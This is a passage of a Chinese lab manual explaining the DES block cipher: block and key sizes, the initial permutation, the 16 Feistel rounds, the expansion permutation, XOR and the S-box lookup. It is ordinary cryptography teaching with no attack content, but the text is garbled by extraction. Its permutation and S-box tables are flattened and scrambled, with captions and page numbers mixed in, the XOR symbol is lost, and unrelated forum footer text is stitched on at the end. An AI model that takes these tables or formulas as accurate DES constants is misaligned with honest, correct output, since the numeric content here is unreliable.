是一种分组加密算法,所谓分组加密算法就是对一定大小的明文或密文来做加密 或解密动作。在 DES 加密系统中,每次加密或解密的分组大小均为 64 位,所以 DES 没有密 文扩充的问题。 对大于 64 位的明文只要按每 64 位一组进行切割, 而对小于 64 位的明文只 要在后面补“0”即可。 另一方面,DES 所用的加密或解密密钥也是 64 位大小,但因其中有 8 个位是奇偶校验 位,所以 64 位中真正起密钥作用的只有 56 位,密钥过短也是 DES 最大的缺点。 DES 加密与解密所用的算法除了子密钥的顺序不同外,其他部分完全相同。 五. 初始置换 经过分组后的 64 位明文分组将按照初始置换表重新排列次序,进行初始置换,置换29 第 2 部分密码学及应用方法如下:初始置换表从左到右,从上到下读取,如第一行第一列为 58,意味着将原明文 分组的第 58 位置换到第 1 位,初始置换表的下一个数为 50,意味着将原明文分组的第 50 位置换到第 2 位,依次类推,将原明文分组的 64 位全部置换完成。表 2-1-1 58 60 62 64 57 59 61 63 50 52 54 56 49 51 53 55 42 44 46 48 41 43 45 47 34 36 38 40 33 35 37 39 初始置换表 26 28 30 32 25 27 29 31 18 20 22 24 17 19 21 23 10 12 14 16 9 11 13 15 2 4 6 8 1 3 5 7六. 16 轮循环 经过了初始置换的 64 位明文数据在中间分成 2 部分,每部分 32 位,左半部分和右半 部分分别记为 L0 和 R0。然后,L0 和 R0 进入第一轮子加密过程。R0 经过一系列的置换得到 32 位输出,再与 L0 进行异或(XOR)运算。其结果成为下一轮的 R1,R0 则成为下一轮的 L1, 如此连续运作 16 轮。我们可以用下列两个式子来表示其运算过程: Ri=Li-1XORf(Ri-1,Ki) Li=Ri-1 (i=1,2,??,16) 16 轮循环过程如图 2-1-3 所示。30 实验 2对称密码算法图 2-1-3 DES16 轮循环在每一轮的循环中,右半部分需要经过一系列的子加密过程,这个子加密过程也叫做 f 函数,子加密过程包括扩展置换、异或运算、S 盒置换和直接置换,下面分别介绍这些过 程。 1. 扩展置换 32 位的右半部分明文数据首先要进行扩展置换,扩展置换将 32 位的输入数据扩展成 为 48 位的输出数据,它有三个目的:第一,它产生了与子密钥同长度的数据以进行异或运 算;第二,它提供了更长的结果,使得在以后的子加密过程中能进行压缩;第三,它产生 雪崩效应(avalancheeffect) ,这也是扩展置换最主要的目的,使得输入的一位将影响两 个替换,所以输出对输入的依赖性将传播的更快(雪崩效应) 。扩展置换的置换方法与初始 置换相同,只是置换表不同,扩展置换表如下所示。31 第 2 部分 表 2-1-2 32 4 8 12 16 20 24 28 1 5 9 13 17 21 25 29 2 6 10 14 18 22 26 30密码学及应用 扩展置换表 3 7 11 15 19 23 27 31 4 8 12 16 20 24 28 32 5 9 13 17 21 25 29 12. 异或运算 扩展置换的 48 位输出数据与相应的子密钥进行按位异或运算,关于子密钥的产生过 程以后将详细讨论,按位异或运算的运算法则如下(其中为异或运算符) : 00=0 01=1 10=1 11=0 异或以后的 48 位结果将继续进行 S 盒置换。 3. S 盒置换 S 盒置换是 DES 算法中最重要的部分,也是最关键的步骤,因为其他的运算都是线性 的,易于分析,只有 S 盒代替是非线性的,它比 DES 中任何一步都提供了更好的安全性。 经过异或运算得到的 48 位输出数据要经过 S 盒置换,置换由 8 个盒完成,记为 S 盒。 每个 S 盒都有 6 位输入,4 位输出,如图 2-1-4 所示。图 2-1-4 S 盒这 8 个 S 盒是不同的, 每个 S 盒的置换方法如表 2-1-3 所示。 这个表的使用方法如下: 48 位的输入分成 8 组,每组 6 位,分别进入 8 个 S 盒。将每组的 6 位输入记为 B0B1B2B3B4B5, 那么表中的行号由 B0B5 决定,而列号由 B1B2B3B4 决定。例如,第一个分组 111000 要进入第 一个 S 盒 S1,那么行号为 10(B0B5)即第 2 行,列号为 1100(B1B2B3B4)即第 12 列,第 2 行第 12 列对应的数据为 3,所以这个 S 盒的 4 位输出就是 3 的二进制表示 0011。32 实验 2对称密码算法表 2-1-3 DES 算法 S 盒置换表 S1 0 1 2 3 S2 0 1 2 3 S3 0 1 2 3 S4 0 1 2 3 S5 0 1 2 3 S6 0 1 2 3 S7 0 1 2 3 4 13 1 6 11 0 4 11 2 11 11 13 14 7 13 8 15 4 12 1 0 9 3 4 8 1 7 10 13 10 14 7 33 3 14 10 9 12 3 15 5 9 5 6 0 7 12 8 15 5 2 0 14 10 15 5 2 6 8 9 3 1 6 2 12 12 10 9 4 1 15 14 3 10 4 15 2 15 2 5 12 9 7 2 9 2 12 8 5 6 9 12 15 8 5 3 10 0 6 7 11 13 1 0 14 3 13 4 1 4 14 10 7 14 0 1 6 7 11 13 0 5 3 11 8 11 8 6 13 2 14 4 11 12 11 2 8 4 2 1 12 1 12 11 7 7 4 10 1 10 7 13 14 11 13 7 2 6 1 8 13 8 5 15 6 5 0 9 15 3 15 12 0 15 10 5 9 13 3 6 10 0 9 3 4 14 8 0 5 9 6 14 3 7 13 10 3 13 8 6 15 14 11 9 0 3 5 0 6 0 6 12 10 6 15 11 1 9 0 7 13 10 3 13 8 1 4 15 9 2 7 1 4 8 2 3 5 5 12 14 11 11 1 5 12 12 10 2 7 4 14 8 2 15 9 4 14 10 13 13 1 0 7 6 10 9 0 4 13 14 9 9 0 6 3 8 6 3 4 15 9 15 6 3 8 5 10 0 7 1 2 11 4 13 8 1 15 12 5 2 14 7 14 12 3 11 12 5 11 4 11 10 5 2 15 14 2 8 1 7 12 15 3 0 13 1 13 14 8 8 4 7 10 14 7 11 1 6 15 10 3 11 2 4 15 3 8 13 4 4 14 1 2 9 12 5 11 7 0 8 6 2 1 12 7 13 10 6 12 12 6 9 0 0 9 3 5 5 11 2 14 10 5 15 9 0 14 0 4 15 1 4 15 1 12 2 13 7 14 8 3 1 4 8 2 4 2 14 13 4 5 15 2 6 9 6 11 13 2 1 7 8 1 11 7 8 3 10 15 5 9 10 6 12 11 10 6 12 9 3 11 12 11 7 14 12 5 9 3 10 13 9 5 1

我要回帖

更多关于 输入单词输出词根词缀 的文章

 

随机推荐